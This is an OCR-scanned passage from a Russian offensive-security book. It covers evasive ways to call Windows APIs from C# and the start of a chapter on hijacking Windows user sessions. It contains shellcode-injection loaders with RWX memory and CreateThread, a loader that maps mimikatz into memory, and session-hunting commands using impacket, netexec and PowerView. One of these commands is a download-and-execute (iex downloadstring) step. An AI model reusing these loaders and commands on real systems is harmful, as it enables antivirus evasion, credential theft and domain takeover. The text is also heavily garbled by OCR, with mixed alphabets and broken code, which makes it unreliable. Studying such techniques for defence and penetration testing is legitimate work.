pNtCommitComplete.Toint64()) + "\n"); Console.WriteLine("[?] Specifying the name of а Ьу Console.WriteLine("[+] Search Ьу ordinal --> Ох260 (NtSetSystemTime)"I; IntPtr pNtSetSystemTime = SharpSploit.Execution.Dynamicinvoke.Generic. GetLibraryAddress("ntdll.dll", Ох260, true); Console.WriteLine("[>] pNtSetSystemTime : " + string.Format("{0:X)", pNtSetSystemTime.Toint64()) + "\n"); Console.WriteLine("[+] Search Ьу keyed hash --> 138F2374EC295F225BD918F7D8058316 (RtlAdjustPrivilege)");
Часть 224 11. Системное программирование для хакеров Console.WriteLine("[>] Hash: НМАСМD5(Кеу) .ComputeHash(FunctionName)"); String fHash = SharpSploit.Execution.Dynamiclnvoke.Generic. GetAPIНash("RtlAdjustPrivilege", ОхааЬЫ122); IntPtr pRtlAdjustPrivilege = SharpSploit.Execution.Dynamiclnvoke.Generic. GetLibraryAddress("ntdll.dll", fHash, ОхааЬЫ122); : "+ string.Fonnat("{O:X}", pRtlAdjustPrivilege Console.WriteLine("[>] pRtlAdjustPrivilege.Tolnt64()) + "\n"); Console.WriteLine("[?] Specifying the base address of DLL in memory ({0:Х}), resolve function Ьу walking its export taЬle ... ", hNtdll.Toint64()); Console.WriteLine("[+] Search Ьу name --> NtCornmitComplete"); IntPtr pNtConпnitComplete2 = SharpSploit.Execution.Dynamiclnvoke.Generic. GetExportAddress(hNtdll, "NtCormnitComplete"); Console.WriteLine("[>] pNtConпnitComplete : "+ string.Fonnat("{O:X}", pNtCornmitComplete2. Tolnt64 ()) + "\n"); Console.WriteLine("[*] Pausing execution .. "); Console.ReadLine(); Проект обрел широкую популярность и используется во многих инструментах: обход AMSI (https://github.com/med0x2e/NoAmci), запись в реестр (https:// github.com/NVISOsecurity/DlnvisiЫeRegistry), какое-то совместное чудо и snowcrasl, В конце концов, этот проект можно использовать и как Reflective РЕ код для запуска РЕ из памяти. using System; using System.IO; using System.IO.Compression; namespace DinvokePE puЫic bohops (https://github.com/Ьohops/DynamicDotNet). class Program static byte[] Compress(byte[] data) ( var output = new MemoryStream(); using (var dStream = new DeflateStream(output, CompressionLevel.Optimal)) dStream.Write(data, О, data.Length); return output.ToArray(); static byte [) Decompress (byte [) data) ( var input = new MemoryStream(data); Loader. Вот
Глава 12. Ищем способы обращения к нативному коду из С# 225 var output = new MemoryStream(); using (var dStream = new DeflateStream(input, CompressionMode.Decompress)) dStream.CopyТo(output); return output.ToArray(); puЬlic static void Main(string[] args) ( /* var rawBytes = File.ReadAllBytes(@"C:\U:,F>rs\snovvcrash\Desktop\mimikatz.exe"); var compressed = Compress(rawBytes); var compressedВ64 = Convert.ToBase64String(compressed); Console.WriteLine(compressedВ64); */ var compressed = Convert.FromBase64String('"'); var rawBytes = Decompress(compressed); var map = Dinvoke.ManualMap.Map.MapModuleToMemory(rawBytes); Dinvoke.Dynamicinvoke.Generic.CallMappedPEModule(map.PEINFO, map.ModuleBase); Console.ReadLine(); Помимо этих инструментов, для автоматического добавления исходного кода в проект есть CsWhispers (https://github.com/rasta-mouse/CsWhispers). Этот новый исходник позволит делать вызовы Dlnvoke и использовать Indirect-cиcкoлы. Впрочем, необязательно тащить с собой огромную либу. Парсить ExportTaЫe мож­ но и встроенными средствами С#. Этот код был приведен исследователем xpn (https://clck.ru/3NqMu2): using System; using System.Diagnostics; using System. Rш1time. InteropServices; namespace DynamicAPIInvoke / / / <stшmar\'' /// "А Qui~k History Lesson" /// https://hlog.xpnsec.com/weird-ways-to-execute-dotnet/ /// </summary> puЫic class Program [UrunanagedFunctionPointer(CallingConvention.Winapi)] delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UrunanagedFunctionPointer(CallingConvention.Winapi)] delegate IntPtr ShellcodeDelegate();
Часть 226 11. Системное программирование для хакеров static IntPtr GetExportAddress(IntPtr baseAddr, string name) var dosHeader = Marshal.PtrToStructure<IМAGE_DOS_HEADER>(baseAddr); var peHeader = Marshal.PtrToStructure<IМAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e- lfanew + 4 + Marshal.SizeOf<IМAGE- FILE- HEADER>() ); var exportHeader = Marshal.PtrToStructure<IМAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTaЬle.VirtualAddress); for (int i = О; i < exportHeader.NшnЬerOfNames; i++) var nameAddr = Marshal.Readint32(baseAddr + (int)exportHeader.AddressOfNames + (i * 411; var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr); if (m == "VirtualAlloc") var exportAddr = Marshal.Readint32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4)); return baseAddr + (int)exportAddr; return IntPtr.Zero; puЬlic static void Main() { // msfvenom -р windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp byte[] shellcode = new byte[] ( ); // Ищем экспорт-адрес из уже загруженной в память библиотеки kernel32.dll IntPtr virtualAllocAddr = IntPtr.Zero; foreach (ProcessModule module in Process.GetCurrentProcess() .Modules) if (module .ModuleName. ToLower () == "kernel32. dll") virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc"); // Инициализируем делегат найденным адресом var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr); // Выделяем область nамяти shellcode.Length байт в адресном пространстве текущего процесса инжектора (ОхЗООО = MEM_COMMIT I MEM_RESERVE, Ох40 = PAGE_EXECUTE_READWRITE) var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, ОхЗООО, Ох40); // Записываем шелл-код в вьщеленную область Marshal.Copy(shellcode, О, execMem, shellcode.Length); // Обращаемся к шелл-коду как к функции и запускаем его без создания нового потока var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem); shellcodeCall(); [StructLayout(LayoutKind.Sequential)] struct IМAGE DOS HEADER // http://www.pinvoke.net/default.aspx/Structures/IМAGE DOS HEADER.html
Глава 12. Ищем способы обращения к нативному коду из С# 227 [StructLayout(LayoutKind.Sequential, Pack; 1)] struct IМAGE- OPTIONAL- HEADER64 // http://www.pinvoke.net/default.aspx/Structures/IМAGE_OPTI0NA1_HEADER64.html [StructLayout(LayoutKind.Sequential)] struct IМAGE DATA DIRECTORY // http://www.pinvoke.net/default.aspx/Structures/IМAGE_DATA_DIRECTORY.html [StructLayout(LayoutKind.Sequential)] struct IМAGE FILE НEADER // http://www.pinvoke.net/default.aspx/Structures/IМAGE_FILE_HEADER.html [StructLayout(LayoutKind.Sequential)] struct IМAGE- EXPORT- DIRECTORY // http://www.pinvoke.net/default.aspx/Structures/IМAGE_EXPORT_DIRECTORY.html Parasite lnvoke «Лень - двигатель прогресса», - писал Андрей Вознесенский в стихотворении «Лень». Эта строка отлично описывает мое состояние недели полторы назад. Было желание творить, но не хотелось вновь поднимать заметки по этим бесконечным ABCD-Invoke, параллельно вспоминая, как адаптировать конкретный метод под мой инструмент. Нужно было что-то очень простое, как скрытное (без записей в импорте), чем тод - Dlnvoke. Plnvoke, но не менее Поэтому я создал еще один ме­ Parasite Invoke. Я решил взглянуть на проблему с другой стороны: - Platfonn Invoke - механизм легитимный? -Конечно. - Его другие разработчики используют? Естественно! А мы можем использовать их сигнатуры? Как вы понимаете, был придуман метод, который может злоупотреблять Рlnvоkе­ сигнатурами чужих сборок, прозрачно вызывая через них нужный метод WinAPI. Рассмотрим механизм подробнее. При запуске РоС (https://github.com/МzНmO/ Parasite-Invoke) принимает лишь обязательный параметр- path (рис. . \Parasiteinvoke.exe --path С:\ -r 12.3) .
Часть 228 11. Системное программирование для хакеров Рис.12.3. Пример вывода информации о сигнатурах сборок с диска С Эта команда позволяет перечислить все Рlnvоkе-методы в сборках, лежащих на диске с. -r - рекурсивный перебор. Есть возможность поиска сигнатуры и кон­ кретного метода, например VirtualAlloc (рис. .\Parasiteinvoke.exe --path С:\ 12.4) -r --method VirtualAlloc Теперь полученную сигнатуру можно вставить в нашу С#-программу, и метод WinAPI будет успешно вызван через нее. using System; using System.Reflection; using System.Runtime.InteropServices; namespace Template class Program static void Main() asm = AssemЬly.LoadFrom(@"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ WPF\UIAutomationClientsideProviders.dll"); Туре t = asm.GetType("MS.Win32.UnsafeNativeMethods", true); var methodlnfo = t.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPuЬlic 1 System.Reflection.BindingFlags.Static); IntPtr result = (System.IntPtr)methodinfo.Invoke(null, new object[] ( IntPtr.Zero, new UlntPtr(lO), ОхЗООО, Ох40 } ); Marshal.Copy(new byte[] ( 1, 2, 3 ), О, result, 3); Console.WriteLine(result); AssemЬly
Глава 12. Ищем способы обращения к нативному коду из С# 229 return; Работает это следующим образом: 1. В наше приложение загружается легитимная сборка, можно даже с цифровой подписью . 2. Происходит подготовка всех необходимых для получения метода данных. В част­ ности, мы должны верно указать все флаги (какие модификаторы у функции , статическая она или динамическая). Все сигнатуры доступа Plnvoke в 99% случаев располагаются в классах в виде статических методов. 3. Наконец, подготовив данные о методе, его можно вызвать через methodinfo. Invoke () . Это обеспечивает некоторое проксирование темы вызов метода WinAPI Platform lnvoke, т. к. со стороны сис­ выполняется от лица легитимной сборки. И вроде бы ничего страшного не происходит! Рис . 12.4. Обнаруженные сигнатуры VirtualAlloc в сборках на диске С
Часть 230 11. Системное программирование для хакеров Dynamic Plnvoke Что будет, если соединить Platfonn Invoke! Dynamic Invoke и Platfonn Invoke? Получится Представьте, что вы можете определять сигнатуру Dynamic Plnvoke в ран­ тайме. У нас есть возможность использовать разные динамические типы и объекты .NET, чтобы определить необходимые методы и свойства для сигнатуры Plnvoke во время выполнения, что позволит вызвать ее. Метод основан на использовании (https://learn.microsoft.com/en-us/dotnet/api/system.reflection. DefinePinvokeMethod () emit.typebuilder.definepinvokemethod?view=net-6.0) для динамического определе­ ния сигнатуры. Например, в эту функцию можно отдать прототип, и она его без проблем прожует. [Dllimport ("kernel32. dll") ] private static extern IntPtr VirtualAlloc( IntPtr lpStartAddr, ulong size, uint flAllocationType, uint flProtect); Получается, достаточно заранее подготовить все методы, которые должны быть вызваны, динамически их определить, создать динамическую сборку в дефолтном AppDomain, что и приведет к вызову неуправляемого кода. Предлагаю рассмотреть на примере. Пусть есть следующий код с Plnvoke знакомый нам шелл-код-sеlf-инжектор ): using System; using System.Runtime.InteropServices; namespace ShellcodeLoader class Program static void Main(string[] args) byte[] x64shellcode 0xfc, Ох48, . . . 1; = new byte[294] IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (ulong)x64shellcode.Length, (uint)StateEnum.MEM_COMMIT, (uint)Protection.PAGE_EXECUTE_READWRITE); Marshal.Copy(x64shellcode, О, (IntPtr) (funcAddr), x64shellcode.Length); IntPtr hThread = IntPtr.Zero; uint threadid = О; IntPtr pinfo = IntPtr.Zero; (до боли
Глава 12. Ищем способы обращения к нативному коду из С# hThread = CreateThread(0, О, funcAddr, pinfo, WaitForSingleObject(hThread, 0xFFFFFFFF); return; О, ref threadid); #region pinvokes [Dllimport (" kernel32. dll") ] private static extern IntPtr VirtualAlloc( IntPtr lpStartAddr, ulong size, uint flAllocationType, uint flProtect); [Dllimport ("kernel32. dll") ] private static extern IntPtr CreateThread( uint lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, ref uint lpThreadid); [Dllimport ("kernel32. dll")] private static extern uint WaitForSingleObject( IntPtr hНandle, uint dwMilliseconds); puЬlic enum StateEnum ( МЕМ_СОММIТ = 0xl000, MEM_RESERVE = Ох2000, МЕМ FREE = 0xl0000 puЬlic enum Protection PAGE_REAOONLY = Ох02, PAGE_READWRITE = Ох04, PAGE_EXECUTE = 0xl0, PAGE_EXECUTE_READ = Ох20, PAGE_EXECUTE_READWRITE = Ох40, #endregion С динамическим Plnvoke программа выглядела бы вот так: //original runner Ьу @Arno0x: shellcodeLauncher.cs https://githuЬ.com/Arno0x/CSharpScripts/ЬloЬ/master/ 231
232 Часть//. Системное программирование для хакеров using using using using System; System.Runtime.InteropServices; System.Reflection; System.Reflection.Emit; namespace ShellcodeLoader class Program static void Main(string[] args) byte[] x64shellcode = new byte[294] (0xfc,0x48, ... ); IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (uint)x64shellcode.Length, (uint)StateEnum.MEM_COММIT, (uint)Protection.PAGE- EXECUTE- READWRITE); Marshal.Copy(x64shellcode, О, (IntPtr) (funcAddr), x64shellcode.Length); IntPtr hThread = IntPtr.Zero; uint threadld = О; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, О, funcAddr, pinfo, WaitForSingleObject(hThread, 0xFFFFFFFF); return; puЬlic О, ref threadid); static object DynamicPinvokeBuilder(Type type, string library, string method, Object[] args, Туре[] paramTypes) AssemЫyName assemЫyName = new AssemЫyName("Temp0l"); AssemЬlyBuilder assemЬlyBuilder AppDomain.CurrentDomain.DefineDynamicAssemЬly(assemЬlyName, ModuleBuilder moduleBuilder AssemЬlyBuilderAccess.Run); = assemЬlyBuilder.DefineDynamicModule("Temp02"); = moduleBuilder.DefinePinvokeMethod(method, library, MethodAttributes.Static MethodAttributes.Pinvokeimpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi); MethodВuilder methodВuilder MethodAttributes.PuЬlic I I SetimplementationFlags (methodBuilder. GetMethodimplementationFlags () 1 MethodlmplAttributes.PreserveSig); moduleBuilder.CreateGlobalFunctions(); methodВuilder. Methodinfo dynamicMethod = moduleBuilder.GetMethod(method); obJect res = dynamicMethod.Invoke(null, args);
Глава 12. Ищем способы обращения к нативному коду из С# 233 return res; puЫic static IntPtr VirtualAlloc(IntPtr lpAddress, Uint32 dwSize, Uint32 flAllocationType, Uint32 flProtect) paramTypes = { typeof(IntPtr), typeof(Uint32), typeof(Uint32), typeof(Uint32) ); Object[] args = { lpAddress, dwSize, flAllocationType, flProtect ); object res = DynamicPinvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes); return (IntPtr)res; Туре[] puЫic static IntPtr CreateThread(Uint32 lpThreadAttributes, Ulnt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, Ulnt32 dwCreationFlags, ref Ulnt32 lpThreadid) paramTypes = { typeof(Uint32), typeof(Uint32), typeof(IntPtr), typeof(IntPtr), typeof(Uint32), typeof(Uint32) .MakeByRefType() ); Object[] args = ( lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadid ); object res = DynamicPinvokeBuilder (typeof (IntPtr), "Kernel32. dll", "CreateThread", args, paramTypes); return (lntPtr)res; Туре[] puЬlic static Int32 WaitForSingleObject(IntPtr Handle, Uint32 Wait) { paramTypes = { typeof(IntPtr), typeof(Uint32) ); Object[] args = ( Handle, Wait ); object res = DynamicPinvokeBuilder (typeof (Int32), "Kernel32. dll", "WaitForSingleObject", args, paramTypes); return (Int32)res; Туре[] puЬlic enum StateEnum { МЕМ_СОММIТ MEМ_RESERVE МЕМ puЬlic = OxlOOO, = Ох2000, FREE = OxlOOOO enum Protection { PAGE_READONLY = Ох02, PAGE_READWRITE = Ох04, PAGE_EXECUTE = OxlO, PAGE_EXECUTE_READ = Ох20, PAGE_EXECUTE_READWRITE = Ох40,
Часть 234 //. Системное программирование для хакеров То есть, как и в случае с обычной сигнатурой Platform Invoke, указываем имя функ­ ции (можно поменять), возвращаемые значения, принимаемые типы аргументов. При передаче потока управления этой функции произойдет динамическое создание необходимой сигнатуры и вызов метода. Еще один РоС можно найти в репозитории bohops (https://github.com/Ьohops/ DynamicDotNet/tree/main/dynamic_pinvoke). Тем не менее Dynamic Plnvoke мож­ но обнаружить через .NET Introspection, ведь в подобной реализации для каждой функции из неуправляемого кода создается новая сборка, что можно считать ано­ мальным поведением. Это особенно заметно, когда названия сборок одинаковые или состоят из случайных символов (рис. 12.5). ConsoleApp1 .e)(e (6328) Properties .нет perfonnara ~ Stlltlltla ~ Stndul'8 V Q.R ,;4,0.30319,0 v AppOomlin: c.on.olt,Appl,eu GPU nn.c:ts Token Oilk and Netwolt, ~ м.nio,y ~ Pllth 10 Algs 6 CONCUМ!NТ_GC, М ... "C:\Usn\lldmln\loul'C'Al\repos~ 26771... Dlf8ut, &8Quble Temp01 Temp01 1i 1 Рис. 12.5. .NET lntrospection в Process Hacker 2 Hashlnvoke Наконец, последний метод. Он чем-то похож на Parasite Invoke. Просто нацелен на меньшее число сборок. Я бы даже сказал, что только на mscorlib. В этой реализации идет перебор имен всех доступных методов и типов из mscor lib с применением к ним функции хеширования. Для вызова метода достаточно обратиться к нему по хешу. Эдакий API Hashing, но в контексте сборок С#. Например, из класса Microsoft. Win32. Win32Nati ve можно обращаться к стандартным методам GetModuleHandle () или GetProcAddress (). var module; Hinvoke.InvokeMethod<IntPtr>(13239936, 811580934, new object[] {"kernel32.dll"}); // Microsoft.Win32.Win32Native.GetModuleHandle var address; Hinvoke.InvokeMethod<IntPtr>(13239936, 1721745356, new object[] {module, "IsDebuggerPresent"}); // Microsoft.Win32.Win32Native.GetProcAddress if ( ((delegate* unmanaged[Stdcall]<bool>) address) ()) Console.WriteLine("Hey meanie I said no debugging :с"); Внутри функции идет уже знакомая нам по Parasite Invoke подготовка всех пара­ метров, после чего происходит обращение к methodinfo. Invoke () (рис. 12.6).
Глава 12. Ищем способы обращения к нативному коду из С# Рис. 12.6. Рос в деле 235
Часть 236 11. Системное программирование для хакеров К слову, с исходным кодом можно ознакомиться (Ьttps://gist.gitbub.com/dr4k0oia/ 95bd2dc1cc09726f4aaaf'920b9982f'9d) даже полноценные лоадеры, в репозитории которые dr4k0nia. используют этот Кстати, существуют механизм. Например, Nixlmports (bttps://gitbub.com/dr4k0nia/Nixlmports). Заключение Теперь перед нами не устоит ни одна WinАРl-функция! Мы сможем вызвать лю­ бую, невзирая на возможные ограничения платформы .NET. Эта глава- очередная демонстрация того, что при написании инструментов наступательной безопасности следует очень много искать, строить гипотезы рить. «Шаманить над рецептом», - и творить, творить и еще раз тво­ сказал бы я, будь у нас кулинарный блоr.
ГЛАВА 13 Как работает угон пользовательских сессий в Windows Как часто вы видите заветную сессию доменного администратора на дырявой «семерке»? Его учетная запись так и просится в руки злоумышленника или пенте­ стера, и дальше она поможет захватить всю сетку. Однако злой антивирус ни в ка­ кую не дает сдампить LSASS. Что пентестеру делать в таком случае? Как получить сессию пользователя, обойдя все защитные средства? В Windows при входе пользователя в систему ему назначается собственная сессия. Глубоко-глубоко внутри процесса lsass.exe хранится сопоставление между сессией и учетными данными пользователя. При попытке пройти аутентификацию на сто­ роннем хаете, ресурсе или службе LSA получает идентификатор конкретной сес­ сии, обнаруживает связь между сессией и конкретными учетными данными, после чего проводит аутентификацию. Подробно механизм аутентификации пользователей, принцип работы структуру сессий мы изучали в главе 7. LSA и общую Сейчас же предлагаю познакомиться с ме­ ханизмом кражи сессий. Если вкратце: почти все способы кражи сессий позволяют немножко злоупотребить механизмом сопоставления сессии и учетных данных и начать исполнять какие­ нибудь нелеrитимные действия от лица пользователя, на чью сессию мы можем воздействовать (рис. 13. l ). Поиск сессий пользователей Первым делом нам нужно найти компьютер, на котором могут лежать интересные сессии пользователей. Здесь мы можем на выбор использовать: □ функции WinAPI, которые позволяют перечислять сессии на устройстве; □ поведение системы - например, можем смотреть, появляются ли определенные артефакты, которые свидетельствуют о наличии сессии пользователя на хаете; □ особенности АО, которые помогут нам раскрыть списки пользователей на хаете.
Часть 238 Рис. 13.1. 11. Системное программирование для хакеров Общий концепт кражи сессии WinAPI Начнем с самого простого варианта - WinAPI. Здесь много полезных нам функ­ ций. Я выделю эти: □ NetSessionEnwn (J (https://learn.microsoft.com/ru-ru/windows/win32/api/lmshare/ nf-lmshare-netsessionenum ); □ NetWkstaUserEnwn ( J (https://learn.microsoft.com/ru-ru/windows/win32/api/lmwksta/ nf-lmwksta-netwkstauseren um ); □ WinStationEnwneratew () (https://github.com/processbacker/processbacker/ bloЬ/master/phnt/include/winsta.h). Начнем с первой. У нее много аргументов, которые неплохо документированы в MSDN. NET- API - STATUS NET - API - FUNCTION NetSessionEnwn( [in] LMSTR servername, [in] LMSTR UncClientName, LMSTR username, [in] [in] DWORD level, LPBYTE *bufptr, [out] [in] DWORD prefmaxlen, LPDWORD entriesread, [out] LPDWORD totalentries, [out] [in, out] LPDWORD reswne handle );
Глава 13. Как работает угон пользовательских сессий в Единственное, на что нам стоит обратить внимание, 239 Windows - первый параметр, он как раз таки и отвечает за компьютер, с которого будет получена информация о сессиях. Причем существует аналог этой функции, но поверх RPC -NetrSessionEnum () (https:// learn.microsoft.com/en-us/openspecs/windows_protoco ls/ms-srvs/02blf559-fda24ba3-94c2-806eЫ777183). С использованием этого метода работает большинство инструментов для обнару­ жения сессий пользователя. Например, если мы работаем с хоста на Linux, то мож­ но воспользоваться скриптом netview.py (https://github.com/fortra/impacket/ЫoЫ master/examples/netview.py). Вот, кстати, вызов метода NetrSessionEnum () : https:// gi th u b.com/fortra/im packet/ЫoЬ/master/exam ples/netview. py#L297. net·,iew. ру pyth onЗ OOМAIN/Administra t or: lolkekc heЫ23 1 это устройство, с которого следует собирать информацию Параметр -target о сессиях (рис . г-< root'Э -target 10 .10 .10 .10 13 .2). ka 1 i -/_/ad/too1.s/impacket/examp1.es CRINGE/Administrator: lo1kekcheЫ23 ! targPt 192 .168. 116 .129 Impacket v0.10.1.dev1~20 230524.180921.8b3f9eff - Copyright 2022 Fortra L # pythonЗ netview.py [•] Importing targets [•] Got 1 machines 192.168.116.129: user WIN10DEV\Admin logged in LOCALLY 192.168 . 116.129: user CRINGE\WIN10DEV$ logged in LOCALLY 1 Рис. 13.2. Пример использования Инструмент имеет более инвазивные функции: с его помощью можно отслеживать сессии по всему домену. В таком случае список пользователей, которых ищем, ука­ зываем через -users (рис. 1 ---11 13 .3 ). ( root$ kal i J - Г -/-/ad/too1.s/i11packet/exa11p1.es cat users. txt WIN10DEV\Admin с: ( root~ kali 1 _ -/-/ad/tool.s/impacket/examp1.es # pythonз netview.py CRINGE/Administrator:lolkekcheЫ23! -use rs users.txt Impacket v0.10.1.dev1~20230524.180921.8b3f9eff - Copyright 2022 Foгtra [*] Importing taгgets [•] Getting machine's list fгom CRINGE [•] Looking up users in domain CRINGE [•] Got 2 machines 1 Рис. 13.3. Поиск сессии по всему домену Чуть более урезанные возможности - у netexec. Получить список пользователей через него можно, указав флаг --loggedon-users (https://github.com/Pennyw0rth/ NetE хес/ЫоЬ/99d4е49ас 1с395200601dacfd6901244370Ь l 4ce/nxc/protocols/sm Ь. ру# Lll84, рис. 13.4). nxc smЬ 10 . 10 . 10.10/24 -u admin -р admin --l oggedon-users
Часть 240 11. Системное программирование для хакеров -iroot·f,.,if1 :..._:1 11~. Sllb 192.168.1)1.139 sма 192 , 1Бs.н?.1З9 1,1,s ocet (•) Windows 18 / Ser11er 2019 Bu il.d 17763 ~trn~t€wi.f1,· , --t.: nxt s11b 192.168. 131.139 -u Ад."'-11н11сrраr о р 5Ма 192,168 ,1 37.139 t,t.S DCCl SМ8 192.168.137,139 HS DCl!l 511\В 192,168 .137. 139 t.t,S DCi!l -sessions ('"') Wi ndOIWS 18 I Ser11er 2819 Bu il d 17763 f•J (SМvl:f~\se) 11.М (na.l.' :OC&l) (d08ain:vostok.st r eet) { si1ninJ:Tru•} (5'8v1:f~\se) (Pwn]d ') 11ostok .s tre@t \M••н11cтp aтop:lol kek c heb 12 3! {,. J En\Derated sessions (root~,wif1' ( .. 1 • nxc s"ь 192.168.137.139 -u ~н11 с трат ор 192. 168 . 137.139 t.t,S ОС81 192,HHS.137 ,139 44S DC91 192,168 . 137,139 1,1,5 DC0l Slii& SJi\8 192 .168, 137 .1 39 t.4S DC0l SMI 19 2 . lбе . 137 .139 t.t.5 DC01 -р l o l k@kche Ы23! --1ogg@don-usero; (•) Wind o.rs l t / S@r11 er 2Ul9 Bu i ld 17763 :ir.6• (naae :OC8 1) (do■ain:vostok.street) (ti!!lning:True) {5'8v1:Fats• ) (+J vostok,street\ДД.мн•opaтop :l.o1 kek c he Ы2J• (P'li:"Зd•) (+J Enuaer,1ted lo g:g1►. d_on us@rs VOSТOК\OC.•1S \O!!IOn_иn,er: УОSТОl(\АА,.мн11стр.атор \og:on_seneer: 0Cf1 Рис. BloodHound {11.r,llf! :DCtl ) { doa.itn:vos.tok .st rl!l!- t) (si!(ning:Tru•) -р l ol kekcht>Ы2J! ~ 5"'8 Наконец, 11.М 13.4. Пример использования собирает информацию о сессиях точно таким же образом. Впрочем, если мы работаем с Windows, то описанные выше варианты непримени­ мы. Поэтому можно посмотреть в сторону LOLBAS. Например, net (рис. 13.5). net session [\ \compname] [/list] Либо quser. quser.exe /server:dcOl.office.corp # Аналог 1 в 1 qwinsta.exe /server:dcOl.office.corp # Аналог 1 в 1, часть 2 :) query.exe user /server:WlO.ad.bitsadmin.com :\Users\Aдминиcтpaтop>quser 1~ ПОЛЬЗОВАТЕЛЬ СЕАНС ID console >администратор :\Usеrs\Админист ато 1 СТАТУС БЕЗДЕЙСТВ. Активно ВРЕНЯ ВХОДА отсутствует > Рис. 13.5. Изучение с системы Windows Еще существует подписанный Microsoft инструмент PsLoggedon (https://devhops.ru/windows/network/pstools/, рис. 13.6). psloggedon \\dcOl Psloggedon vl.35 - See who's logged оп Copyright (С) 2000 - 2016 Mark Russinovich Sysinter11als - www.sysinternals.com Users logged оп locally: 3/20/2020 1:44:30 РМ 3/24/2020 2:28:50 РМ Domain\user9173182 Domain\user9273579 Users logged оп via resource shares: 3/24/2020 5:24:23 РМ Domain\user9373579 Рис. 13.6. Использование легитимного бинаря 23.09.2024 13:31
Глава 13. Как работает угон пользовательских сессий в Наконец, есть полноценные фреймворки на 241 Windows PowerShell, например Get-Usersess i on2. ps l (https://github.comNossiSassi/Get-UseгSession2/ЫoЬ/main/Get-UseгSession2.psl), BOF для Cobalt Strike Get-NetSession (https://github.com/tгustedsec/CS-Situational­ Awaгeness-BOF/tгee/masteг/sгc/SA/get-netsession) и , конечно же , всеми любимый Invo ke- UserHunte r из пакета PowerView. Invoke- Use rHunter -GroupName "Domain Admi ns " Invo ke-UserHunter -CheckAccess # Проверить админи стра тивный дос туп I nvo ke-Use rHunter -Domain "dev. corp" -UserName admin # Найти, где сей час н аходи тся такой-то юзер # Есть фла г - Steal th, ко торый уме ньшае т шан сы н а ус п е х, н о провер яет лишь машины с высокой це нн ос тью Если же вызов Net Sess i onEnum() заблокирован или по какой-то иной причине не сра­ батывает, то можно поискать альтернативы . Например, get l oggedoп . py github.com/cham423/aa63b9cbc2961cef43c32b319100bffa, pyt hon getloggedon. py рис . (https://gist. 13. 7). VOSTO K /dcom:l o lkekcheЫ 23\ 1 @ 1 92. 1 68. 1 37. 1 39 root~IJ.'ifi ~-t: ;; , , ,-. - • getl.oggedon.py VOSTOK/dcom: lolkekcheЫ23\ !о)192 .168.137 .139 [•] Impacket v0.12.0.devl - Copyright 2023 Fortra [•] Enumerating users logged in at 192.168.137.139 VОSТОК\Администратор Рис . Собственно, вызов с системы Get-NetLoggedon -ComputerName 13.7. Пример перечисления сессий Windows можно сделать через PowerView (рис . 13 .8). НОМЕ-РС # Сбор сразу со всех комп ьютеров в доме не Get-DomainComputer I Get -NetLoggedon Наконец, пришла очередь WinStati oпEnumerateW () на Python, . Я не видел вариантов этого вы зова есть на С++ с подробным разбором от автора: https://0xvln.github.io/ https://github.com/ posts/sessionenumeгation/. РоС можно найти в его репозитории: 0xv 1n/RemoteSession Enum/ЫoЬ/main/main.cpp . Реестр Этот способ обнаружения сессий пользователя основывается на том , что при лого­ не юзера создается ветка в нксu _USERS. Так можно обнаруживать новых пользов ате­ лей в системе. Конечно, в ход могут пойти стандартные утилиты reg. ехе и reg. ру (https://github.com/foгtгa/impacket/ЫoЬ/masteг/examples/гeg.py), но мастера давн о создали полноценные инструменты . Дr~я Windows есть lnvoke-SessionHunter (https://github.com/Leo4j/lnvoke-Session 13 .9). Hunteг, рис . I nvo ke-Sessio пНun ter
Часть 242 ·s С : \ ll s еrs \ Ад,4инистратор> ·s ·ер Системное программирование для хакеров bypass Powe rShell !i ndO\.'/S С) poweгshell 11. К орпорация /lай,рософт (llicrosoH Corporation). С : \U sе r s \Ад,,инистратор> 01-tа ндл е т кажи rе Все права защищены. iex (iwr ) Invoke · \-lebRequest в конвейере команд в позиции 1 з на че ния для следующих параметров: 1ri : https:// raw . githubusercontent.com/PowerShell/lafia/PowerSploit/refs/heads/master/Rec on/PowerView.psl ·s С : \ IJ se ,-s \ Ад,,инис тратор> get- netloggedon ise ,~r-lam e ogonDomain Администратор VOSTOK ut hOo main s ,Jgon Server omput e rName ise ,~Name ogonDomain uthDomain s ogon Server DC01 localhost DC01$ VOSTOK omputerName localhost ls e,~Name DC01$ VOSTOK ogonDomain .uthDomain s ogonServer omputert-Jame localhost 1s e1~Name DC01$ VOSTOK ogonDomain ,uthDomain s ogonSe rver omput e rName is erName ogonOomain localhost . / ~,.. DC01$ VOSTOK ; . ,uthDomain s ogonSe rver omputerName localhost ise r~lame DC01$ VOSTOK ogonDornain .uthDomain s o g o n Se гver ornput e гName localhost Рис. Р<., 13.8. Вывод PowerView ( : \ IJ ч• r s \ Адмннн с тратор > i ex (new - object net .webclient) .downloadstring( ' https: / /raw. githubusercontent. com/Leo4j/Ir:ivoke, ,r>!kmt ,.'1 .р:;1' ) Р ", (: \ U <~оrгs.\ Адми н истратор> i nvol(e - sess ionhunter [ • ] Out put :-. 11 ved to : С: \Users\Aдминнcтpaтop\SessionHunter. txt (•1 flap sed t i me: 0:0 : 0 . 280 Р'-. ( : \ LJ .-.ег,;; \ДДмини с тратор > 